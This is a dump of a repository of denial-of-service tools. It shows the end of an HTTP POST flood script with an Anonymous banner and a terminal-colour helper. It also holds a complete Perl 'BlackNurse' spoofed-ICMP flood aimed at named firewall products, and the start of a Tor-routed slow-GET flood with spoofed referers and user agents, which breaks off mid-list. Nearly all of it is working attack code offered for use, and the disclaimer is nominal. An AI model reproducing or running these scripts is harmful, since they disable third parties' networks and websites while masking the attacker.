| for i in range(threads): 323 | t = httpPost(target, port, tor) 324 | rthreads.append(t) 325 | t.start() 326 | 327 | while len(rthreads) > 0: 328 | try: 329 | rthreads = [t.join(1) for t in rthreads if t is not None and t.isAlive()] 330 | except KeyboardInterrupt: 331 | print "\nShutting down threads...\n" 332 | for t in rthreads: 333 | stop_now = True 334 | t.running = False 335 | 336 | if __name__ == "__main__": 337 | print "\n/*" 338 | print " *"+term.GREEN + "Anonymous" 339 | print " * We Do Not Forgive" 340 | print " * We Do Not Forget" 341 | print " * We are The Voice of the Voiceless " 342 | print " * We Are Legion" 343 | print " */\n" 344 | 345 | main(sys.argv[1:]) 346 | 347 | 348 | -------------------------------------------------------------------------------- /DDOS-Scripts/asundos2.py: -------------------------------------------------------------------------------- 1 | import sys, re 2 | 3 | class TerminalController: 4 | """ 5 | A class that can be used to portably generate formatted output to 6 | a terminal. 7 | 8 | `TerminalController` defines a set of instance variables whose 9 | values are initialized to the control sequence necessary to 10 | perform a given action. These can be simply included in normal 11 | output to the terminal: 12 | 13 | >>> term = TerminalController() 14 | >>> print 'This is '+term.GREEN+'green'+term.NORMAL 15 | 16 | Alternatively, the `render()` method can used, which replaces 17 | '${action}' with the string required to perform 'action': 18 | 19 | >>> term = TerminalController() 20 | >>> print term.render('This is ${GREEN}green${NORMAL}') 21 | 22 | If the terminal doesn't support a given action, then the value of 23 | the corresponding instance variable will be set to ''. As a 24 | result, the above code will still work on terminals that do not 25 | support color, except that their output will not be colored. 26 | Also, this means that you can test whether the terminal supports a 27 | given action by simply testing the truth value of the 28 | corresponding instance variable: 29 | 30 | >>> term = TerminalController() 31 | >>> if term.CLEAR_SCREEN: 32 | ... print 'This terminal supports clearning the screen.' 33 | 34 | Finally, if the width and height of the terminal are known, then 35 | they will be stored in the `COLS` and `LINES` attributes. 36 | """ 37 | # Cursor movement: 38 | BOL = '' #: Move the cursor to the beginning of the line 39 | UP = '' #: Move the cursor up one line 40 | DOWN = '' #: Move the cursor down one line 41 | LEFT = '' #: Move the cursor left one char 42 | RIGHT = '' #: Move the cursor right one char 43 | 44 | # Deletion: 45 | CLEAR_SCREEN = '' #: Clear the screen and move to home position 46 | CLEAR_EOL = '' #: Clear to the end of the line. 47 | CLEAR_BOL = '' #: Clear to the beginning of the line. 48 | CLEAR_EOS = '' #: Clear to the end of the screen 49 | 50 | # Output modes: 51 | BOLD = '' #: Turn on bold mode 52 | BLINK = '' #: Turn on blink mode 53 | DIM = '' #: Turn on half-bright mode 54 | REVERSE = '' #: Turn on reverse-video mode 55 | NORMAL = '' #: Turn off all modes 56 | 57 | # Cursor display: 58 | HIDE_CURSOR = '' #: Make the cursor invisible 59 | SHOW_CURSOR = '' #: Make the cursor visible 60 | 61 | # Terminal size: 62 | COLS = None #: Width of the terminal (None for unknown) 63 | LINES = None #: Height of the terminal (None for unknown) 64 | 65 | # Foreground colors: 66 | BLACK = BLUE = GREEN = CYAN = RED = MAGENTA = YELLOW = WHITE = '' 67 | 68 | # Background colors: 69 | BG_BLACK = BG_BLUE = BG_GREEN = BG_CYAN = '' 70 | BG_RED = BG_MAGENTA = BG_YELLOW = BG_WHITE = '' 71 | 72 | _STRING_CAPABILITIES = """ 73 | BOL=cr UP=cuu1 DOWN=cud1 LEFT=cub1 RIGHT=cuf1 74 | CLEAR_SCREEN=clear CLEAR_EOL=el CLEAR_BOL=el1 CLEAR_EOS=ed BOLD=bold 75 | BLINK=blink DIM=dim REVERSE=rev UNDERLINE=smul NORMAL=sgr0 76 | HIDE_CURSOR=cinvis SHOW_CURSOR=cnorm""".split() 77 | _COLORS = """BLACK BLUE GREEN CYAN RED MAGENTA YELLOW WHITE""".split() 78 | 79 | def __init__(self, term_stream=sys.stdout): 80 | """ 81 | Create a `TerminalController` and initialize its attributes 82 | with appropriate values for the current terminal. 83 | `term_stream` is the stream that will be used for terminal 84 | output; if this stream is not a tty, then the terminal is 85 | assumed to be a dumb terminal (i.e., have no capabilities). 86 | """ 87 | # Curses isn't available on all platforms 88 | try: import curses 89 | except: return 90 | 91 | # If the stream isn't a tty, then assume it has no capabilities. 92 | if not term_stream.isatty(): return 93 | 94 | # Check the terminal type. If we fail, then assume that the 95 | # terminal has no capabilities. 96 | try: curses.setupterm() 97 | except: return 98 | 99 | # Look up numeric capabilities. 100 | self.COLS = curses.tigetnum('cols') 101 | self.LINES = curses.tigetnum('lines') 102 | 103 | # Look up string capabilities. 104 | for capability in self._STRING_CAPABILITIES: 105 | (attrib, cap_name) = capability.split('=') 106 | setattr(self, attrib, self._tigetstr(cap_name) or '') 107 | 108 | # Colors 109 | set_fg = self._tigetstr('setf') 110 | if set_fg: 111 | for i,color in zip(range(len(self._COLORS)), self._COLORS): 112 | setattr(self, color, curses.tparm(set_fg, i) or '') 113 | set_bg = self._tigetstr('setb') 114 | if set_bg: 115 | for i,color in zip(range(len(self._COLORS)), self._COLORS): 116 | setattr(self, 'BG_'+color, curses.tparm(set_bg, i) or '') 117 | 118 | def _tigetstr(self, cap_name): 119 | # String capabilities can include "delays" of the form "$<2>". 120 | # For any modern terminal, we should be able to just ignore 121 | # these, so strip them out. 122 | import curses 123 | cap = curses.tigetstr(cap_name) or '' 124 | return re.sub(r'\$<\d+>[/*]?', '', cap) 125 | 126 | def render(self, template): 127 | """ 128 | Replace each $-substitutions in the given template string with 129 | the corresponding terminal control string (if it's defined) or 130 | '' (if it's not). 131 | """ 132 | return re.sub(r'\$\$|\${\w+}', self._render_sub, template) 133 | 134 | def _render_sub(self, match): 135 | s = match.group() 136 | if s == '$$': return s 137 | else: return getattr(self, s[2:-1]) 138 | 139 | ####################################################################### 140 | # Example use case: progress bar 141 | ####################################################################### 142 | 143 | class ProgressBar: 144 | """ 145 | A 3-line progress bar, which looks like:: 146 | 147 | Header 148 | 20% [===========----------------------------------] 149 | progress message 150 | 151 | The progress bar is colored, if the terminal supports color 152 | output; and adjusts to the width of the terminal. 153 | """ 154 | BAR = '%3d%% ${GREEN}[${BOLD}%s%s${NORMAL}${GREEN}]${NORMAL}\n' 155 | HEADER = '${BOLD}${CYAN}%s${NORMAL}\n\n' 156 | 157 | def __init__(self, term, header): 158 | self.term = term 159 | if not (self.term.CLEAR_EOL and self.term.UP and self.term.BOL): 160 | raise ValueError("Terminal isn't capable enough -- you " 161 | "should use a simpler progress dispaly.") 162 | self.width = self.term.COLS or 75 163 | self.bar = term.render(self.BAR) 164 | self.header = self.term.render(self.HEADER % header.center(self.width)) 165 | self.cleared = 1 #: true if we haven't drawn the bar yet. 166 | self.update(0, '') 167 | 168 | def update(self, percent, message): 169 | if self.cleared: 170 | sys.stdout.write(self.header) 171 | self.cleared = 0 172 | n = int((self.width-10)*percent) 173 | sys.stdout.write( 174 | self.term.BOL + self.term.UP + self.term.CLEAR_EOL + 175 | (self.bar % (100*percent, '='*n, '-'*(self.width-10-n))) + 176 | self.term.CLEAR_EOL + message.center(self.width)) 177 | 178 | def clear(self): 179 | if not self.cleared: 180 | sys.stdout.write(self.term.BOL + self.term.CLEAR_EOL + 181 | self.term.UP + self.term.CLEAR_EOL + 182 | self.term.UP + self.term.CLEAR_EOL) 183 | self.cleared = 1 184 | 185 | 186 | -------------------------------------------------------------------------------- /DDOS-Scripts/blacknurse.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # 3 | # Cisco ASA 5515/5525/5550/5515-X | Fotinet | 4 | # Fortigate | SonicWall | PaloAlto | Zyxel NWA3560-N | 5 | # Zyxel Zywall USG50 Spoofed "BlackNurse" DoS PoC 6 | # 7 | # Copyright 2016 (c) Todor Donev 8 | # Varna, Bulgaria 9 | # todor.donev@gmail.com 10 | # https://www.ethical-hacker.org/ 11 | # https://www.facebook.com/ethicalhackerorg 12 | # http://pastebin.com/u/hackerscommunity 13 | # 14 | # 15 | # Description: 16 | # Blacknurse is a low bandwidth ICMP attack that is capable of doing denial 17 | # of service to well known firewalls. Most ICMP attacks that we see are based 18 | # on ICMP Type 8 Code 0 also called a ping flood attack. BlackNurse is based 19 | # on ICMP with Type 3 Code 3 packets. We know that when a user has allowed ICMP 20 | # Type 3 Code 3 to outside interfaces, the BlackNurse attack becomes highly 21 | # effective even at low bandwidth. Low bandwidth is in this case around 15-18 22 | # Mbit/s. This is to achieve the volume of packets needed which is around 40 to 23 | # 50K packets per second. It does not matter if you have a 1 Gbit/s Internet 24 | # connection. The impact we see on different firewalls is typically high CPU 25 | # loads. When an attack is ongoing, users from the LAN side will no longer be 26 | # able to send/receive traffic to/from the Internet. All firewalls we have seen 27 | # recover when the attack stops. 28 | # 29 | # Disclaimer: 30 | # This or previous program is for Educational purpose ONLY. Do not 31 | # use it without permission. The usual disclaimer applies, especially 32 | # the fact that Todor Donev is not liable for any damages caused by 33 | # direct or indirect use of the information or functionality provided 34 | # by these programs. The author or any Internet provider bears NO 35 | # responsibility for content or misuse of these programs or any 36 | # derivatives thereof. By using these programs you accept the fact 37 | # that any damage (dataloss, system crash, system compromise, etc.) 38 | # caused by the use of these programs is not Todor Donev's 39 | # responsibility. 40 | # 41 | # Use at your own risk and educational 42 | # purpose ONLY! 43 | # 44 | # Thanks to Maya (Maiya|Mia) Hristova and all my friends 45 | # that support me. 46 | # 47 | # 48 | 49 | use Net::RawIP; 50 | 51 | print "[ Cisco ASA 5515/5525/5550/5515-X | Fotinet | Fortigate | SonicWall | PaloAlto | Zyxel NWA3560-N | Zyxel Zywall USG50 Spoofed \"BlackNurse\" DoS PoC\n"; 52 | print "[ ======\n"; 53 | print "[ Usg: $0 \n"; 54 | print "[ Example: perl $0 133.71.33.7 192.168.1.1\n"; 55 | print "[ ======\n"; 56 | print "[ Todor Donev\n"; 57 | print "[ Facebook: https://www.facebook.com/ethicalhackerorg\n"; 58 | print "[ Website: https://www.ethical-hacker.org/\n"; 59 | 60 | my $spoof = $ARGV[0]; 61 | my $target = $ARGV[1]; 62 | 63 | my $sock = new Net::RawIP({ icmp => {} }) or die; 64 | 65 | print "[ Sending crafted packets..\n"; 66 | while () { 67 | $sock->set({ ip => { saddr => $spoof, daddr => $target}, 68 | icmp => { type => 3, code => 3} }); 69 | $sock->send; 70 | $sock->set({ icmp => { type=>3, code => 0}}); 71 | $sock->send; 72 | $sock->set({ icmp => { type=>3, code => 1}}); 73 | $sock->send; 74 | $sock->set({ icmp => { type=>3, code => 2}}); 75 | $sock->send; 76 | } 77 | -------------------------------------------------------------------------------- /DDOS-Scripts/bowser.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | #b0wS3rDdos.py(Slow GET request resource Hog (skidded a lot of this from Asunder) 3 | #Normal Execution: ./b0wS3rDdos.py -T -t www.site.com -p 80 [-p=port -t=target -r threads(65000 default) -T=tor] 4 | import os 5 | import re 6 | import time 7 | import sys 8 | import random 9 | import math 10 | import getopt 11 | import socks 12 | import string 13 | import terminal 14 | 15 | from threading import Thread 16 | 17 | global stop_now 18 | global term 19 | 20 | stop_now = False 21 | term = terminal.TerminalController() 22 | referers = [ 23 | "http://www.google.com/?q=" 24 | "http://www.usatoday.com/search/results?q=" 25 | "http://engadget.search.aol.com/search?q=" 26 | "http://www.bing.com/search?q=" 27 | "http://search.yahoo.com/search?p=" 28 | "http://www.ask.com/web?q=" 29 | "http://search.lycos.com/web/?q=" 30 | "https://validator.w3.org/check?uri=" 31 | "http://validator.w3.org/checklink?uri=" 32 | "http://www.icap2014.com/cms/sites/all/modules/ckeditor_link/proxy.php?url=" 33 | "http://www.rssboard.org/rss-validator/check.cgi?url=" 34 | "http://www2.ogs.state.ny.us/help/urlstatusgo.html?url=" 35 | "http://prodvigator.bg/redirect.php?url=" 36 | "http://validator.w3.org/feed/check.cgi?url=" 37 | "http://www.ccm.edu/redirect/goto.asp?myURL=" 38 | "http://forum.buffed.de/redirect.php?url=" 39 | "http://www.inow.co.nz/redirect.php?url=" 40 | "http://www.automation-drive.com/redirect.php?url=" 41 | "http://mytinyfile.com/redirect.php?url=" 42 | "http://ruforum.mt5.com/redirect.php?url=" 43 | "http://www.websiteperformance.info/redirect.php?url=" 44 | "http://www.airberlin.com/site/redirect.php?url=" 45 | "http://www.rpz-ekhn.de/mail2date/ServiceCenter/redirect.php?url=" 46 | "http://evoec.com/review/redirect.php?url=" 47 | "http://www.crystalxp.net/redirect.php?url=" 48 | "http://watchmovies.cba.pl/articles/includes/redirect.php?url=" 49 | "http://www.seowizard.ir/redirect.php?url=" 50 | "http://apke.ru/redirect.php?url=" 51 | "http://seodrum.com/redirect.php?url=" 52 | "http://redrool.com/redirect.php?url=" 53 | "http://blog.eduzones.com/redirect.php?url=" 54 | "http://www.onlineseoreportcard.com/redirect.php?url=" 55 | "http://www.wickedfire.com/redirect.php?url=" 56 | "http://searchtoday.info/redirect.php?url=" 57 | "http://www.bobsoccer.ru/redirect.php?url=" 58 | "http://newsdiffs.org/article-history/iowaairs.org/redirect.php?url=" 59 | "http://www.firmia.cz/redirect.php?url=" 60 | "http://palinstravels.co.uk/redirect.php?url=" 61 | "http://www.phuketbranches.com/admin/redirect.php?url=" 62 | "http://tools.strugacreative.com/redirect.php?url=" 63 | "http://www.elec-intro.com/redirect.php?url=" 64 | "http://maybeit.net/redirect.php?url=" 65 | "http://www.usgpru.net/redirect.php?url=" 66 | "http://openwebstuff.com/wp-content/plugins/wp-js-external-link-info/redirect.php?url=" 67 | "http://www.webaverage.com/redirect.php?url=" 68 | "http://www.seorehash.com/redirect.php?url=" 69 | ] 70 | 71 | useragents = [ 72 | "Mozilla/5.0 (Linux; Android 4.4.4; Nexus 5 Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.102 Mobile Safari/537.36", 73 | "Mozilla/5.0 (Linux; U; Android 4.1.2; en-au; GT-I9305T Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", 74 | "Mozilla/5.0 (Linux; U; Android 4.2.2; my-mm; GT-M6a Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", 75 | "Mozilla/5.0 (Linux; Android 4.4.2; ASUS_T00F Build/KVT49L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.141 Mobile Safari/537.36", 76 | "Mozilla/5.0 (Linux; U; Android 4.2.2; ru-ru; I9192 Build/MocorDroid2.3.5) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", 77 | "Mozilla/5.0 (Linux; Android 4.2.2; GT-P5100 Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.102 Safari/537.36", 78 | "Mozilla/5.0 (Linux; Android 4.3; SM-G7102 Build/JLS36C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.136 Mobile Safari/537.36", 79 | "Mozilla/5.0 (Linux; Android 4.2.2; Galaxy S4 Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.102 Mobile Safari/537.36", 80 | "Mozilla/5.0 (Linux; Android 4.4.2; en-us; SM-N900A Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36", 81 | "Mozilla/5.0 (Linux; Android 4.4.4; XT1097 Build/KXE21.187-45) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.117 Mobile", 82 | "Mozilla/5.0 (Linux; Android 4.4.4; XT1097 Build/KXE21.187-30.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.102 Mobile", 83 | "Mozilla/5.0 (Linux; U; Android 4.2.2; ru-ru; Lenovo A369i Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", 84 | "Mozilla/5.0 (Linux; Android 4.3; D2305 Build/18.0.A.1.30) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.102 Mobile Safari/537.36", 85 | "Mozilla/5.0 (Linux; U; Android 4.4.2; en-gb; LG-D802 Build/KOT49I.D80220c) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.1599.103 Mobile Safari/537.36", 86 | "Mozilla/5.0 (Linux; U; Android 4.2.2; vi-vn; mobiistar touch BEAN 402c Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", 87 | "Mozilla/5.0 (Linux; U; Android 4.4.4; en-us; XT1080 Build/SU4.21) AppleWebKit/537.16 (KHTML, like Gecko) Version/4.0 Mobile Safari/537.16", 88 | "Mozilla/5.0 (Linux; U; Android 4.3; en-ca; HUAWEI G6-L11 Build/HuaweiG6-L11) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", 89 | "Mozilla/5.0 (Linux; Android 4.1.2; LG-F160L Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.102 Mobile Safari/537.36", 90 | "Mozilla/5.0 (Linux; U; Android 4.1.1; en-gb; SonyC1505 Build/11.3.A.2.23) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", 91 | "Mozilla/5.0 (Linux; U; Android 4.2.2; th-th; HUAWEI Y511-U30 Build/HUAWEIY511-U30) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", 92 | "Mozilla/5.0 (Series40; Nokia2700c/09.98; Profile/MIDP-2.1 Configuration/CLDC-1.1) Gecko/20100401 S40OviBrowser/5.5.0.0.27", 93 | "Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B410 Safari/600.1.4", 94 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2194.2 Safari/537.36", 95 | "Mozilla/5.0 (X11; Linux i686; rv:6.0.2) (Q7sip7ZS4Ba8FkDSOvRNleYM4KEG59V8+uT/RC1tW0U=) Gecko/20100101 Firefox/6.0.2", 96 | "Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 925; ANZ892) like Gecko", 97 | "Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 925; ANZ892) like Gecko", 98 | "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36", 99 | "Mozilla/5.0 (Windows NT 6.1; WOW64; ; CJPMS_AAPCA4157828C9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36", 100 | "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36", 101 | "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.14 Safari/537.17", 102 | "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2194.2 Safari/537.36", 103 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 FirePHP/0.7.4", 104 | "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30", 105 | "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36", 106 | "Mozilla/5.0 (iPad; CPU OS 8_0 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/38.0.2125.59 Mobile/12A365 Safari/600.1.4", 107 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.99 Safari/537.22", 108 | "Mozilla/5.0 (iPod touch; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4", 109 | "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.7 Safari/537.36", 110 | "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.36 OPR/25.0.1614.50", 111 | "Mozilla/5.0 (X11; CrOS x86_64 6158.64.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.108 Safari/537.36", 112 | "Guzzle/4.2.3 curl/7.35.0 PHP/5.5.9-1ubuntu4.4", 113 | "curl/7.30.0", 114 | "Mozilla/5.0 (Linux ia32) node.js/0.10.32 v8/3.14.5.9", 115 | "Mozilla/5.0 (compatible; Googlebot/4.1; en-US rv:9.3.7) Firefox/32.5", 116 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7)", 117 | "AppleWebKit/534.48.3 (KHTML, like Gecko) Version/5.1 Safari/534.48.3", 118 | "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us)", 119 | "AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1", 120 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:5.0.1)", 121 | "Gecko/20100101 Firefox/5.0.1", 122 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) ", 123 | "AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30", 124 | "Opera/9.80 (Macintosh; Intel Mac OS X 10.7.0; U; Edition MacAppStore; en)", 125 | "Presto/2.9.168 Version/11.50", 126 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2)", 127 | "Baiduspider+(+http://www.baidu.com/search/spider.htm)", 128 | "Mozilla/5.0 (compatible; BecomeBot/3.0; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)", 129 | "Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)", 130 | "Mozilla/5.0 (compatible; BeslistBot; nl; BeslistBot 1.0; http://www.beslist.nl/)", 131 | "BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)", 132 | "zspider/0.9-dev http://feedback.redkolibri.com/", 133 | "Mozilla/4.0 compatible ZyBorg/1.0 DLC (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)", 134 | "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)", 135 | "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)", 136 | "Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)", 137 | "Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)", 138 | "Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)", 139 | "Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )", 140 | "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/tech_crawling.html)", 141 | "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml)", 142 | "Mozilla/2.0 (compatible; Ask Jeeves/Teoma)", 143 | "TerrawizBot/1.0 (+http://www.terrawiz.com/bot.html)", 144 | "TheSuBot/0.2 (www.thesubot.de)", 145 | "FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)", 146 | "Mozilla/4.0 (compatible: FDSE robot)", 147 | "findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)", 148 | "findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)", 149 | "findlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)", 150 | "findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)", 151 | "findlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)", 152 | "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable)", 153 | "Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable)", 154 | "Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)", 155 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2)", 156 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2)", 157 | "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2)", 158 | "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)", 159 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3)", 160 | "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2)", 161 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2)", 162 | "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2)", 163 | "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)", 164 | "Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)", 165 | "Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)", 166 | "MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)", 167 | "MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)", 168 | "Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)", 169 | "MojeekBot/0.2 (archi; http://www.mojeek.com/bot.html)", 170 | "Moreoverbot/5.1 ( http://w.moreover.com; webmaster@moreover.com) Mozilla/5.0)", 171 | "Moreoverbot/5.00 (+http://www.moreover.com; webmaster@moreover.com)", 172 | "msnbot/1.0 (+http://search.msn.com/msnbot.htm)", 173 | "msnbot/0.9 (+http://search.msn.com/msnbot.htm)", 174 | "msnbot/0.11 ( http://search.msn.com/msnbot.htm)", 175 | "MSNBOT/0.1 (http://search.msn.com/msnbot.htm)", 176 | "Mozilla/5.0 (compatible; mxbot/1.0; +http://www.chainn.com/mxbot.html)", 177 | "NetResearchServer/4.0(loopimprovements.com/robot.html)", 178 | "Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)", 179 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)", 180 | "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)", 181 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)", 182 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)", 183 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET) ", 184 | "Googlebot/2.1 (http://www.googlebot.com/bot.html)", 185 | "Opera/9.20 (Windows NT 6.0; U; en)", 186 | "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", 187 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)", 188 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)", 189 | "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0", 190 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)", 191 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16)", 192 | "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)", 193 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13)", 194 | "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)", 195 | "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)", 196 | "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)", 197 | "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)", 198 | "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22 